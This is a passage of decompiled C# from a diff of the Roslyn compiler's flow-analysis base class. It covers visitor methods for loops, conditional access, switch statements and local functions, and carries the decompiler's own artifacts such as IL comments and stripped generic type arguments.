VisitRangeExpression(BoundRangeExpression node) + { + if (node.LeftOperandOpt != null) + { + VisitRvalue(node.LeftOperandOpt); + } + if (node.RightOperandOpt != null) + { + VisitRvalue(node.RightOperandOpt); + } + return null; + } + + public override BoundNode VisitFromEndIndexExpression(BoundFromEndIndexExpression node) + { + VisitRvalue(node.Operand); + return null; + } + + public override BoundNode VisitAwaitExpression(BoundAwaitExpression node) + { + VisitRvalue(node.Expression); + PendingBranches.Add(new PendingBranch(node, State, null)); + return null; + } + + public override BoundNode VisitIncrementOperator(BoundIncrementOperator node) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + if (RegularPropertyAccess(node.Operand)) + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)node.Operand; + PropertySymbol propertySymbol = boundPropertyAccess.PropertySymbol; + if ((int)propertySymbol.RefKind == 0) + { + MethodSymbol readMethod = GetReadMethod(propertySymbol); + MethodSymbol writeMethod = GetWriteMethod(propertySymbol); + VisitReceiverBeforeCall(boundPropertyAccess.ReceiverOpt, readMethod); + VisitReceiverAfterCall(boundPropertyAccess.ReceiverOpt, readMethod); + PropertySetter(node, boundPropertyAccess.ReceiverOpt, writeMethod); + return null; + } + } + VisitRvalue(node.Operand); + return null; + } + + public override BoundNode VisitArrayCreation(BoundArrayCreation node) + { + ImmutableArray.Enumerator enumerator = node.Bounds.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + VisitRvalue(current); + } + VisitRvalue(node.InitializerOpt); + return null; + } + + public override BoundNode VisitForStatement(BoundForStatement node) + { + if (node.Initializer != null) + { + VisitStatement(node.Initializer); + } + LoopHead(node); + TLocalState state; + TLocalState breakState; + if (node.Condition != null) + { + VisitCondition(node.Condition); + state = StateWhenTrue; + breakState = StateWhenFalse; + } + else + { + state = State; + breakState = UnreachableState(); + } + SetState(state); + VisitStatement(node.Body); + ResolveContinues(node.ContinueLabel); + if (node.Increment != null) + { + VisitStatement(node.Increment); + } + LoopTail(node); + ResolveBreaks(breakState, node.BreakLabel); + return null; + } + + public override BoundNode VisitForEachStatement(BoundForEachStatement node) + { + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + VisitForEachExpression(node); + LoopHead(node); + TLocalState breakState = State.Clone(); + VisitForEachIterationVariables(node); + VisitStatement(node.Body); + ResolveContinues(node.ContinueLabel); + LoopTail(node); + ResolveBreaks(breakState, node.BreakLabel); + if (AwaitUsingAndForeachAddsPendingBranch && ((CommonForEachStatementSyntax)(object)node.Syntax).AwaitKeyword != default(SyntaxToken)) + { + PendingBranches.Add(new PendingBranch(node, State, null)); + } + return null; + } + + protected virtual void VisitForEachExpression(BoundForEachStatement node) + { + VisitRvalue(node.Expression); + } + + public virtual void VisitForEachIterationVariables(BoundForEachStatement node) + { + } + + public override BoundNode VisitAsOperator(BoundAsOperator node) + { + VisitRvalue(node.Operand); + return null; + } + + public override BoundNode VisitIsOperator(BoundIsOperator node) + { + if (VisitPossibleConditionalAccess(node.Operand, out TLocalState stateWhenNotNull)) + { + SetConditionalState(stateWhenNotNull, State); + } + else + { + Unsplit(); + } + return null; + } + + public override BoundNode VisitMethodGroup(BoundMethodGroup node) + { + if (node.ReceiverOpt != null) + { + VisitRvalue(node.ReceiverOpt); + } + return null; + } + + public override BoundNode? VisitNullCoalescingOperator(BoundNullCoalescingOperator node) + { + if (IsConstantNull(node.LeftOperand)) + { + VisitRvalue(node.LeftOperand); + Visit(node.RightOperand); + } + else + { + TLocalState other; + if (VisitPossibleConditionalAccess(node.LeftOperand, out TLocalState stateWhenNotNull)) + { + other = stateWhenNotNull; + } + else + { + Unsplit(); + other = State.Clone(); + } + if (node.LeftOperand.ConstantValueOpt != (ConstantValue)null) + { + SetUnreachable(); + } + Visit(node.RightOperand); + if (IsConditionalState) + { + Join(ref StateWhenTrue, ref other); + Join(ref StateWhenFalse, ref other); + } + else + { + Join(ref State, ref other); + } + } + return null; + } + + private bool TryVisitConditionalAccess(BoundExpression node, [NotNullWhen(true)] out TLocalState? stateWhenNotNull) + { + BoundConditionalAccess boundConditionalAccess = ((node is BoundConditionalAccess boundConditionalAccess2) ? boundConditionalAccess2 : ((!(node is BoundConversion { Conversion: var conversion, Operand: BoundConditionalAccess operand }) || !CanPropagateStateWhenNotNull(conversion)) ? null : operand)); + BoundConditionalAccess boundConditionalAccess3 = boundConditionalAccess; + if (boundConditionalAccess3 != null) + { + EnterRegionIfNeeded(boundConditionalAccess3); + Unsplit(); + VisitConditionalAccess(boundConditionalAccess3, out stateWhenNotNull); + LeaveRegionIfNeeded(boundConditionalAccess3); + return true; + } + stateWhenNotNull = default(TLocalState); + return false; + } + + protected static bool CanPropagateStateWhenNotNull(Conversion conversion) + { + if (!conversion.IsValid) + { + return false; + } + if (!conversion.IsUserDefined) + { + return true; + } + return conversion.Method.Parameters[0].Type.IsNonNullableValueType(); + } + + private bool VisitPossibleConditionalAccess(BoundExpression node, [NotNullWhen(true)] out TLocalState? stateWhenNotNull) + { + if (TryVisitConditionalAccess(node, out stateWhenNotNull)) + { + return true; + } + Visit(node); + return false; + } + + private void VisitConditionalAccess(BoundConditionalAccess node, out TLocalState stateWhenNotNull) + { + if (VisitPossibleConditionalAccess(node.Receiver, out TLocalState stateWhenNotNull2)) + { + stateWhenNotNull = stateWhenNotNull2; + } + else + { + Unsplit(); + stateWhenNotNull = State.Clone(); + } + if (node.Receiver.ConstantValueOpt != (ConstantValue)null && !IsConstantNull(node.Receiver)) + { + if (VisitPossibleConditionalAccess(node.AccessExpression, out TLocalState stateWhenNotNull3)) + { + stateWhenNotNull = stateWhenNotNull3; + return; + } + Unsplit(); + stateWhenNotNull = State.Clone(); + return; + } + TLocalState self = State.Clone(); + if (IsConstantNull(node.Receiver)) + { + SetUnreachable(); + } + else + { + SetState(stateWhenNotNull); + } + BoundExpression accessExpression = node.AccessExpression; + while (accessExpression is BoundConditionalAccess boundConditionalAccess) + { + VisitRvalue(boundConditionalAccess.Receiver); + accessExpression = boundConditionalAccess.AccessExpression; + Join(ref self, ref State); + } + VisitRvalue(accessExpression); + stateWhenNotNull = State; + State = self; + Join(ref State, ref stateWhenNotNull); + } + + public override BoundNode? VisitConditionalAccess(BoundConditionalAccess node) + { + VisitConditionalAccess(node, out var _); + return null; + } + + public override BoundNode VisitLoweredConditionalAccess(BoundLoweredConditionalAccess node) + { + VisitRvalue(node.Receiver); + TLocalState other = State.Clone(); + VisitRvalue(node.WhenNotNull); + Join(ref State, ref other); + if (node.WhenNullOpt != null) + { + other = State.Clone(); + VisitRvalue(node.WhenNullOpt); + Join(ref State, ref other); + } + return null; + } + + public override BoundNode VisitConditionalReceiver(BoundConditionalReceiver node) + { + return null; + } + + public override BoundNode VisitComplexConditionalReceiver(BoundComplexConditionalReceiver node) + { + TLocalState other = State.Clone(); + VisitRvalue(node.ValueTypeReceiver); + Join(ref State, ref other); + other = State.Clone(); + VisitRvalue(node.ReferenceTypeReceiver); + Join(ref State, ref other); + return null; + } + + public override BoundNode VisitSequence(BoundSequence node) + { + ImmutableArray sideEffects = node.SideEffects; + if (!sideEffects.IsEmpty) + { + ImmutableArray.Enumerator enumerator = sideEffects.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + VisitRvalue(current); + } + } + VisitRvalue(node.Value); + return null; + } + + public override BoundNode VisitSequencePoint(BoundSequencePoint node) + { + if (node.StatementOpt != null) + { + VisitStatement(node.StatementOpt); + } + return null; + } + + public override BoundNode VisitSequencePointExpression(BoundSequencePointExpression node) + { + VisitRvalue(node.Expression); + return null; + } + + public override BoundNode VisitSequencePointWithSpan(BoundSequencePointWithSpan node) + { + if (node.StatementOpt != null) + { + VisitStatement(node.StatementOpt); + } + return null; + } + + public override BoundNode VisitStatementList(BoundStatementList node) + { + return VisitStatementListWorker(node); + } + + private BoundNode VisitStatementListWorker(BoundStatementList node) + { + ImmutableArray.Enumerator enumerator = node.Statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundStatement current = enumerator.Current; + VisitStatement(current); + } + return null; + } + + public override BoundNode VisitTypeOrInstanceInitializers(BoundTypeOrInstanceInitializers node) + { + return VisitStatementListWorker(node); + } + + public override BoundNode VisitUnboundLambda(UnboundLambda node) + { + return VisitLambda(node.BindForErrorRecovery()); + } + + public override BoundNode VisitBreakStatement(BoundBreakStatement node) + { + PendingBranches.Add(new PendingBranch(node, State, node.Label)); + SetUnreachable(); + return null; + } + + public override BoundNode VisitContinueStatement(BoundContinueStatement node) + { + PendingBranches.Add(new PendingBranch(node, State, node.Label)); + SetUnreachable(); + return null; + } + + public override BoundNode VisitUnconvertedConditionalOperator(BoundUnconvertedConditionalOperator node) + { + return VisitConditionalOperatorCore(node, isByRef: false, node.Condition, node.Consequence, node.Alternative); + } + + public override BoundNode VisitConditionalOperator(BoundConditionalOperator node) + { + return VisitConditionalOperatorCore(node, node.IsRef, node.Condition, node.Consequence, node.Alternative); + } + + protected virtual BoundNode? VisitConditionalOperatorCore(BoundExpression node, bool isByRef, BoundExpression condition, BoundExpression consequence, BoundExpression alternative) + { + VisitCondition(condition); + TLocalState stateWhenTrue = StateWhenTrue; + TLocalState stateWhenFalse = StateWhenFalse; + if (IsConstantTrue(condition)) + { + VisitConditionalOperand(stateWhenFalse, alternative, isByRef); + VisitConditionalOperand(stateWhenTrue, consequence, isByRef); + } + else if (IsConstantFalse(condition)) + { + VisitConditionalOperand(stateWhenTrue, consequence, isByRef); + VisitConditionalOperand(stateWhenFalse, alternative, isByRef); + } + else + { + VisitConditionalOperand(stateWhenTrue, consequence, isByRef); + bool isConditionalState = IsConditionalState; + TLocalState other; + TLocalState other2; + if (!isConditionalState) + { + TLocalState state = State; + TLocalState state2 = State; + other = state2; + other2 = state; + } + else + { + TLocalState stateWhenTrue2 = StateWhenTrue; + TLocalState state2 = StateWhenFalse; + other = state2; + other2 = stateWhenTrue2; + } + VisitConditionalOperand(stateWhenFalse, alternative, isByRef); + if (!isConditionalState && !IsConditionalState) + { + Join(ref State, ref other2); + } + else + { + Split(); + Join(ref StateWhenTrue, ref other2); + Join(ref StateWhenFalse, ref other); + } + } + return null; + } + + private void VisitConditionalOperand(TLocalState state, BoundExpression operand, bool isByRef) + { + SetState(state); + if (isByRef) + { + VisitLvalue(operand); + WriteArgument(operand, (RefKind)1, null); + } + else + { + Visit(operand); + } + } + + public override BoundNode VisitBaseReference(BoundBaseReference node) + { + return null; + } + + public override BoundNode VisitDoStatement(BoundDoStatement node) + { + LoopHead(node); + VisitStatement(node.Body); + ResolveContinues(node.ContinueLabel); + VisitCondition(node.Condition); + TLocalState stateWhenFalse = StateWhenFalse; + SetState(StateWhenTrue); + LoopTail(node); + ResolveBreaks(stateWhenFalse, node.BreakLabel); + return null; + } + + public override BoundNode VisitGotoStatement(BoundGotoStatement node) + { + PendingBranches.Add(new PendingBranch(node, State, node.Label)); + SetUnreachable(); + return null; + } + + protected void VisitLabel(LabelSymbol label, BoundStatement node) + { + ResolveBranches(label, node); + TLocalState other = LabelState(label); + Join(ref State, ref other); + ((Dictionary)(object)_labels)[label] = State.Clone(); + ((HashSet)(object)_labelsSeen).Add(node); + } + + protected virtual void VisitLabel(BoundLabeledStatement node) + { + VisitLabel(node.Label, node); + } + + public override BoundNode VisitLabelStatement(BoundLabelStatement node) + { + VisitLabel(node.Label, node); + return null; + } + + public override BoundNode VisitLabeledStatement(BoundLabeledStatement node) + { + VisitLabel(node); + VisitStatement(node.Body); + return null; + } + + public override BoundNode VisitLockStatement(BoundLockStatement node) + { + VisitRvalue(node.Argument); + VisitStatement(node.Body); + return null; + } + + public override BoundNode VisitNoOpStatement(BoundNoOpStatement node) + { + return null; + } + + public override BoundNode VisitNamespaceExpression(BoundNamespaceExpression node) + { + return null; + } + + public override BoundNode VisitUsingStatement(BoundUsingStatement node) + { + if (node.ExpressionOpt != null) + { + VisitRvalue(node.ExpressionOpt); + } + if (node.DeclarationsOpt != null) + { + VisitStatement(node.DeclarationsOpt); + } + VisitStatement(node.Body); + if (AwaitUsingAndForeachAddsPendingBranch && node.AwaitOpt != null) + { + PendingBranches.Add(new PendingBranch(node, State, null)); + } + return null; + } + + public override BoundNode VisitFixedStatement(BoundFixedStatement node) + { + VisitStatement(node.Declarations); + VisitStatement(node.Body); + return null; + } + + public override BoundNode VisitFixedLocalCollectionInitializer(BoundFixedLocalCollectionInitializer node) + { + VisitRvalue(node.Expression); + return null; + } + + public override BoundNode VisitThrowStatement(BoundThrowStatement node) + { + BoundExpression expressionOpt = node.ExpressionOpt; + VisitRvalue(expressionOpt); + SetUnreachable(); + return null; + } + + public override BoundNode VisitYieldBreakStatement(BoundYieldBreakStatement node) + { + PendingBranches.Add(new PendingBranch(node, State, null)); + SetUnreachable(); + return null; + } + + public override BoundNode VisitYieldReturnStatement(BoundYieldReturnStatement node) + { + VisitRvalue(node.Expression); + PendingBranches.Add(new PendingBranch(node, State, null)); + return null; + } + + public override BoundNode VisitDefaultLiteral(BoundDefaultLiteral node) + { + return null; + } + + public override BoundNode VisitDefaultExpression(BoundDefaultExpression node) + { + return null; + } + + public override BoundNode VisitUnconvertedObjectCreationExpression(BoundUnconvertedObjectCreationExpression node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/AbstractFlowPass.cs", 3350); + } + + public override BoundNode VisitTypeOfOperator(BoundTypeOfOperator node) + { + VisitTypeExpression(node.SourceType); + return null; + } + + public override BoundNode VisitNameOfOperator(BoundNameOfOperator node) + { + TLocalState state = State; + SetState(UnreachableState()); + Visit(node.Argument); + SetState(state); + return null; + } + + public override BoundNode VisitAddressOfOperator(BoundAddressOfOperator node) + { + VisitAddressOfOperand(node.Operand, shouldReadOperand: false); + return null; + } + + protected void VisitAddressOfOperand(BoundExpression operand, bool shouldReadOperand) + { + if (shouldReadOperand) + { + VisitRvalue(operand); + } + else + { + VisitLvalue(operand); + } + WriteArgument(operand, (RefKind)2, null); + } + + public override BoundNode VisitPointerIndirectionOperator(BoundPointerIndirectionOperator node) + { + VisitRvalue(node.Operand); + return null; + } + + public override BoundNode VisitPointerElementAccess(BoundPointerElementAccess node) + { + VisitRvalue(node.Expression); + VisitRvalue(node.Index); + return null; + } + + public override BoundNode VisitSizeOfOperator(BoundSizeOfOperator node) + { + return null; + } + + private BoundNode VisitStackAllocArrayCreationBase(BoundStackAllocArrayCreationBase node) + { + VisitRvalue(node.Count); + VisitRvalue(node.InitializerOpt); + return null; + } + + public override BoundNode VisitStackAllocArrayCreation(BoundStackAllocArrayCreation node) + { + return VisitStackAllocArrayCreationBase(node); + } + + public override BoundNode VisitConvertedStackAllocExpression(BoundConvertedStackAllocExpression node) + { + return VisitStackAllocArrayCreationBase(node); + } + + public override BoundNode VisitAnonymousObjectCreationExpression(BoundAnonymousObjectCreationExpression node) + { + VisitArguments(node.Arguments, default(ImmutableArray), node.Constructor); + return null; + } + + public override BoundNode VisitArrayLength(BoundArrayLength node) + { + VisitRvalue(node.Expression); + return null; + } + + public override BoundNode VisitConditionalGoto(BoundConditionalGoto node) + { + VisitCondition(node.Condition); + if (node.JumpIfTrue) + { + PendingBranches.Add(new PendingBranch(node, StateWhenTrue, node.Label)); + SetState(StateWhenFalse); + } + else + { + PendingBranches.Add(new PendingBranch(node, StateWhenFalse, node.Label)); + SetState(StateWhenTrue); + } + return null; + } + + public override BoundNode VisitObjectInitializerExpression(BoundObjectInitializerExpression node) + { + return VisitObjectOrCollectionInitializerExpression(node.Initializers); + } + + public override BoundNode VisitCollectionInitializerExpression(BoundCollectionInitializerExpression node) + { + return VisitObjectOrCollectionInitializerExpression(node.Initializers); + } + + private BoundNode VisitObjectOrCollectionInitializerExpression(ImmutableArray initializers) + { + ImmutableArray.Enumerator enumerator = initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + VisitRvalue(current); + } + return null; + } + + public override BoundNode VisitObjectInitializerMember(BoundObjectInitializerMember node) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + if (!node.Arguments.IsDefaultOrEmpty) + { + MethodSymbol method = null; + Symbol? memberSymbol = node.MemberSymbol; + if ((object)memberSymbol != null && (int)memberSymbol.Kind == 15) + { + method = GetReadMethod((PropertySymbol)node.MemberSymbol); + } + VisitArguments(node.Arguments, node.ArgumentRefKindsOpt, method); + } + return null; + } + + public override BoundNode VisitDynamicObjectInitializerMember(BoundDynamicObjectInitializerMember node) + { + return null; + } + + public override BoundNode VisitCollectionElementInitializer(BoundCollectionElementInitializer node) + { + if (node.AddMethod.CallsAreOmitted(node.SyntaxTree)) + { + TLocalState state = (state = State.Clone()); + SetUnreachable(); + VisitArguments(node.Arguments, default(ImmutableArray), node.AddMethod); + State = state; + } + else + { + VisitArguments(node.Arguments, default(ImmutableArray), node.AddMethod); + } + return null; + } + + public override BoundNode VisitDynamicCollectionElementInitializer(BoundDynamicCollectionElementInitializer node) + { + VisitArguments(node.Arguments, default(ImmutableArray), null); + return null; + } + + public override BoundNode VisitImplicitReceiver(BoundImplicitReceiver node) + { + return null; + } + + public override BoundNode VisitFieldEqualsValue(BoundFieldEqualsValue node) + { + VisitRvalue(node.Value); + return null; + } + + public override BoundNode VisitPropertyEqualsValue(BoundPropertyEqualsValue node) + { + VisitRvalue(node.Value); + return null; + } + + public override BoundNode VisitParameterEqualsValue(BoundParameterEqualsValue node) + { + VisitRvalue(node.Value); + return null; + } + + public override BoundNode VisitDeconstructValuePlaceholder(BoundDeconstructValuePlaceholder node) + { + return null; + } + + public override BoundNode VisitObjectOrCollectionValuePlaceholder(BoundObjectOrCollectionValuePlaceholder node) + { + return null; + } + + public override BoundNode VisitAwaitableValuePlaceholder(BoundAwaitableValuePlaceholder node) + { + return null; + } + + public sealed override BoundNode VisitOutVariablePendingInference(OutVariablePendingInference node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/AbstractFlowPass.cs", 3568); + } + + public sealed override BoundNode VisitDeconstructionVariablePendingInference(DeconstructionVariablePendingInference node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/AbstractFlowPass.cs", 3573); + } + + public override BoundNode VisitDiscardExpression(BoundDiscardExpression node) + { + return null; + } + + private static MethodSymbol GetReadMethod(PropertySymbol property) + { + return property.GetOwnOrInheritedGetMethod() ?? property.SetMethod; + } + + private static MethodSymbol GetWriteMethod(PropertySymbol property) + { + return property.GetOwnOrInheritedSetMethod() ?? property.GetMethod; + } + + public override BoundNode VisitConstructorMethodBody(BoundConstructorMethodBody node) + { + Visit(node.Initializer); + VisitMethodBodies(node.BlockBody, node.ExpressionBody); + return null; + } + + public override BoundNode VisitNonConstructorMethodBody(BoundNonConstructorMethodBody node) + { + VisitMethodBodies(node.BlockBody, node.ExpressionBody); + return null; + } + + public override BoundNode VisitNullCoalescingAssignmentOperator(BoundNullCoalescingAssignmentOperator node) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + TLocalState other; + if (RegularPropertyAccess(node.LeftOperand)) + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)node.LeftOperand; + PropertySymbol propertySymbol = boundPropertyAccess.PropertySymbol; + if ((int)propertySymbol.RefKind == 0) + { + MethodSymbol ownOrInheritedGetMethod = propertySymbol.GetOwnOrInheritedGetMethod(); + VisitReceiverBeforeCall(boundPropertyAccess.ReceiverOpt, ownOrInheritedGetMethod); + VisitReceiverAfterCall(boundPropertyAccess.ReceiverOpt, ownOrInheritedGetMethod); + TLocalState state = State.Clone(); + AdjustStateForNullCoalescingAssignmentNonNullCase(node); + other = State.Clone(); + SetState(state); + VisitAssignmentOfNullCoalescingAssignment(node, boundPropertyAccess); + goto IL_00d1; + } + } + VisitRvalue(node.LeftOperand, isKnownToBeAnLvalue: true); + TLocalState state2 = State.Clone(); + AdjustStateForNullCoalescingAssignmentNonNullCase(node); + other = State.Clone(); + SetState(state2); + VisitAssignmentOfNullCoalescingAssignment(node, null); + goto IL_00d1; + IL_00d1: + Join(ref State, ref other); + return null; + } + + public override BoundNode VisitReadOnlySpanFromArray(BoundReadOnlySpanFromArray node) + { + VisitRvalue(node.Operand); + return null; + } + + public override BoundNode VisitFunctionPointerInvocation(BoundFunctionPointerInvocation node) + { + Visit(node.InvokedExpression); + VisitArguments(node.Arguments, node.ArgumentRefKindsOpt, node.FunctionPointer.Signature); + return null; + } + + public override BoundNode VisitUnconvertedAddressOfOperator(BoundUnconvertedAddressOfOperator node) + { + Visit(node.Operand); + return null; + } + + protected virtual void VisitAssignmentOfNullCoalescingAssignment(BoundNullCoalescingAssignmentOperator node, BoundPropertyAccess propertyAccessOpt) + { + VisitRvalue(node.RightOperand); + if (propertyAccessOpt != null) + { + MethodSymbol ownOrInheritedSetMethod = propertyAccessOpt.PropertySymbol.GetOwnOrInheritedSetMethod(); + PropertySetter(node, propertyAccessOpt.ReceiverOpt, ownOrInheritedSetMethod); + } + } + + public override BoundNode VisitSavePreviousSequencePoint(BoundSavePreviousSequencePoint node) + { + return null; + } + + public override BoundNode VisitRestorePreviousSequencePoint(BoundRestorePreviousSequencePoint node) + { + return null; + } + + public override BoundNode VisitStepThroughSequencePoint(BoundStepThroughSequencePoint node) + { + return null; + } + + protected virtual void AdjustStateForNullCoalescingAssignmentNonNullCase(BoundNullCoalescingAssignmentOperator node) + { + } + + private void VisitMethodBodies(BoundBlock blockBody, BoundBlock expressionBody) + { + if (blockBody == null) + { + Visit(expressionBody); + return; + } + if (expressionBody == null) + { + Visit(blockBody); + return; + } + TLocalState state = State.Clone(); + Visit(blockBody); + TLocalState other = State; + SetState(state); + Visit(expressionBody); + Join(ref State, ref other); + } + + protected abstract TLocalState TopState(); + + protected abstract TLocalState UnreachableState(); + + protected virtual TLocalState ReachableBottomState() + { + return default(TLocalState); + } + + protected abstract bool Join(ref TLocalState self, ref TLocalState other); + + protected abstract bool Meet(ref TLocalState self, ref TLocalState other); + + protected abstract TLocalFunctionState CreateLocalFunctionState(LocalFunctionSymbol symbol); + + protected TLocalFunctionState GetOrCreateLocalFuncUsages(LocalFunctionSymbol localFunc) + { + if (_localFuncVarUsages == null) + { + _localFuncVarUsages = new SmallDictionary(); + } + TLocalFunctionState val = default(TLocalFunctionState); + if (!_localFuncVarUsages.TryGetValue(localFunc, ref val)) + { + val = CreateLocalFunctionState(localFunc); + _localFuncVarUsages[localFunc] = val; + } + return val; + } + + public override BoundNode? VisitLocalFunctionStatement(BoundLocalFunctionStatement localFunc) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_01b1: Unknown result type (might be due to invalid IL or missing references) + //IL_01b3: Unknown result type (might be due to invalid IL or missing references) + if (localFunc.Symbol.IsExtern) + { + return null; + } + Symbol currentSymbol = CurrentSymbol; + LocalFunctionSymbol localFunctionSymbol = (LocalFunctionSymbol)(CurrentSymbol = localFunc.Symbol); + SavedPending oldPending = SavePending(); + TLocalState state = State; + State = TopState(); + Optional nonMonotonicState = NonMonotonicState; + if (_nonMonotonicTransfer) + { + NonMonotonicState = Optional.op_Implicit(ReachableBottomState()); + } + if (!localFunc.WasCompilerGenerated) + { + EnterParameters(localFunctionSymbol.Parameters); + } + TLocalFunctionState orCreateLocalFuncUsages = GetOrCreateLocalFuncUsages(localFunctionSymbol); + TLocalFunctionState savedState = LocalFunctionStart(orCreateLocalFuncUsages); + SavedPending oldPending2 = SavePending(); + if (localFunctionSymbol.IsIterator) + { + PendingBranches.Add(new PendingBranch(null, State, null)); + } + VisitAlways(localFunc.Body); + RestorePending(oldPending2); + ImmutableArray immutableArray = RemoveReturns(); + RestorePending(oldPending); + Location val = localFunctionSymbol.TryGetFirstLocation(); + LeaveParameters(localFunctionSymbol.Parameters, localFunc.Syntax, val); + TLocalState self = State; + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + PendingBranch current = enumerator.Current; + State = current.State; + BoundNode branch = current.Branch; + LeaveParameters(localFunctionSymbol.Parameters, branch?.Syntax, (branch != null && !branch.WasCompilerGenerated) ? null : val); + Join(ref self, ref State); + } + if (RecordStateChange(savedState, orCreateLocalFuncUsages, ref self) && orCreateLocalFuncUsages.Visited) + { + stateChangedAfterUse = true; + orCreateLocalFuncUsages.Visited = false; + } + State = state; + NonMonotonicState = nonMonotonicState; + CurrentSymbol = currentSymbol; + return null; + } + + private bool RecordStateChange(TLocalFunctionState savedState, TLocalFunctionState currentState, ref TLocalState stateAtReturn) + { + bool flag = LocalFunctionEnd(savedState, currentState, ref stateAtReturn); + flag |= Join(ref currentState.StateFromTop, ref stateAtReturn); + if (NonMonotonicState.HasValue) + { + TLocalState self = NonMonotonicState.Value; + Meet(ref self, ref stateAtReturn); + flag |= Join(ref currentState.StateFromBottom, ref self); + } + return flag; + } + + protected virtual TLocalFunctionState LocalFunctionStart(TLocalFunctionState state) + { + return state; + } + + protected virtual bool LocalFunctionEnd(TLocalFunctionState savedState, TLocalFunctionState currentState, ref TLocalState stateAtReturn) + { + return false; + } + + public override BoundNode VisitSwitchStatement(BoundSwitchStatement node) + { + TLocalState self = VisitSwitchStatementDispatch(node); + ImmutableArray switchSections = node.SwitchSections; + int num = switchSections.Length - 1; + for (int i = 0; i <= num; i++) + { + VisitSwitchSection(switchSections[i], i == num); + Join(ref self, ref State); + } + ResolveBreaks(self, node.BreakLabel); + return null; + } + + protected virtual TLocalState VisitSwitchStatementDispatch(BoundSwitchStatement node) + { + VisitRvalue(node.Expression); + TLocalState other = State.Clone(); + ImmutableHashSet reachableLabels = node.ReachabilityDecisionDag.ReachableLabels; + ImmutableArray.Enumerator enumerator = node.SwitchSections.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.SwitchLabels.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundSwitchLabel current = enumerator2.Current; + if (reachableLabels.Contains(current.Label) || current.HasErrors || (current == node.DefaultLabel && node.Expression.ConstantValueOpt == (ConstantValue)null && IsTraditionalSwitch(node))) + { + SetState(other.Clone()); + } + else + { + SetUnreachable(); + } + VisitPattern(current.Pattern); + SetState(StateWhenTrue); + if (current.WhenClause != null) + { + VisitCondition(current.WhenClause); + SetState(StateWhenTrue); + } + PendingBranches.Add(new PendingBranch(current, State, current.Label)); + } + } + TLocalState self = UnreachableState(); + if (node.ReachabilityDecisionDag.ReachableLabels.Contains(node.BreakLabel) || (node.DefaultLabel == null && node.Expression.ConstantValueOpt == (ConstantValue)null && IsTraditionalSwitch(node))) + { + Join(ref self, ref other); + } + return self; + } + + private bool IsTraditionalSwitch(BoundSwitchStatement node) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + if (compilation.LanguageVersion >= MessageID.IDS_FeatureRecursivePatterns.RequiredVersion()) + { + return false; + } + if (!node.Expression.Type.IsValidV6SwitchGoverningType()) + { + return false; + } + Enumerator enumerator = ((SwitchStatementSyntax)(object)node.Syntax).Sections.GetEnumerator(); + while (enumerator.MoveNext()) + { + Enumerator enumerator2 = enumerator.Current.Labels.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (enumerator2.Current.Kind() == SyntaxKind.CasePatternSwitchLabel) + { + return false; + } + } + } + return true; + } + + protected virtual void VisitSwitchSection(BoundSwitchSection node, bool isLastSection) + { + SetState(UnreachableState()); + ImmutableArray.Enumerator enumerator = node.SwitchLabels.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundSwitchLabel current = enumerator.Current; + VisitLabel(current.Label, node); + } + VisitStatementList(node); + } + + public override BoundNode VisitSwitchDispatch(BoundSwitchDispatch node) + { + VisitRvalue(node.Expression); + TLocalState state = State.Clone(); + PendingBranches.Add(new PendingBranch(node, state, node.DefaultLabel)); + ImmutableArray<(ConstantValue, LabelSymbol)>.Enumerator enumerator = node.Cases.GetEnumerator(); + while (enumerator.MoveNext()) + { + LabelSymbol item = enumerator.Current.Item2; + PendingBranches.Add(new PendingBranch(node, state, item)); + } + SetUnreachable(); + return null; + } + + public override BoundNode VisitConvertedSwitchExpression(BoundConvertedSwitchExpression node) + { + return VisitSwitchExpression(node); + } + + public override BoundNode VisitUnconvertedSwitchExpression(BoundUnconvertedSwitchExpression node) + { + return VisitSwitchExpression(node); + } + + private BoundNode VisitSwitchExpression(BoundSwitchExpression node) + { + VisitRvalue(node.Expression); + TLocalState state = State; + TLocalState self = UnreachableState(); + ImmutableHashSet reachableLabels = node.ReachabilityDecisionDag.ReachableLabels; + ImmutableArray.Enumerator enumerator = node.SwitchArms.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundSwitchExpressionArm current = enumerator.Current; + SetState(state.Clone()); + VisitPattern(current.Pattern); + SetState(StateWhenTrue); + if (!reachableLabels.Contains(current.Label) || current.Pattern.HasErrors) + { + SetUnreachable(); + } + if (current.WhenClause != null) + { + VisitCondition(current.WhenClause); + SetState(StateWhenTrue); + } + VisitRvalue(current.Value); + Join(ref self, ref 